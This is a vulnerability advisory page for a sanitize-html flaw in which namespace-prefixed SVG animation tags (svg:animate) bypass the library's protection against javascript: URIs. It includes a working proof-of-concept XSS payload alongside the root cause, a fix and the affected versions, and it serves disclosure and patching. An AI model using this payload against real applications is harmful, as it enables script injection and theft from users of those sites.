All vulnerabilities
CVE-2026-113657GHSA-374f-7chj-9948

ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)

apostrophecms sanitize-htmlnpmLibraries & packages
CVSS
3.7Low
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 20 Oct 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.31%Chance of exploitation activity in the next 30 days, higher than 23% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in2.18.0Fixed versionGitHub
Published20 Oct 2026Updated 20 Oct 2026CVE List

What fixes it

  • 2.18.0sanitize-html, npmGitHubnpm install sanitize-html@2.18.0

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

sanitize-html 2.17.7 introduced animatesUrlAttribute() to block SVG animation elements (animate, animateColor, animateMotion, animateTransform, set) when their attributeName targets a URL sink like href. However, this check is bypassed when the animation element uses a namespace prefix (e.g., svg:animate instead of animate).

Root Cause

The animatesUrlAttribute function (index.js, line ~832) checks svgAnimationTags.indexOf(name.toLowerCase()), where svgAnimationTags contains bare local names: ["animate", "animatecolor", "animatemotion", "animatetransform", "set"]. htmlparser2 passes namespace-prefixed tag names verbatim, so svg:animate does not match animate in the array, causing the function to return false and skip the SMIL XSS protection.

Ironically, the function already handles namespace prefixes correctly for the attributeName target value (line ~843): const localName = target.slice(target.lastIndexOf(":") + 1) — but this same stripping was not applied to the tag name itself.

Proof of Concept

const sanitizeHtml = require("sanitize-html");

const config = {
  allowedTags: false,
  allowedAttributes: false,
  allowedSchemes: ["http", "https"]
};

// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
  `<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED

// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
  `<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS

All 5 SMIL animation elements are bypassable with any namespace prefix (svg:, xlink:, xml:, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.

Impact

Cross-site scripting (XSS) via SMIL animation retargeting. When an application uses allowedTags: false (common in rich-text editors that want to preserve SVG), an attacker can inject <svg:animate attributeName="href" values="#safe;javascript:..." .../> to override the href attribute of a parent <a> element after the page loads, causing the link to execute JavaScript when clicked.

Suggested Fix

Strip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:

// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {

// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {

Affected Versions

sanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Text from GitHub Advisory Database

Affected versions 4

  • sanitize-html, npm>= 2.17.7, < 2.18.0GitHub
  • apostropheaffected: < 4.33.0CVE List
  • sanitize-htmlaffected: >= 2.17.7, < 2.18.0CVE List
  • sanitize-html, npmfrom 2.17.7, fixed in 2.18.0OSV

References 5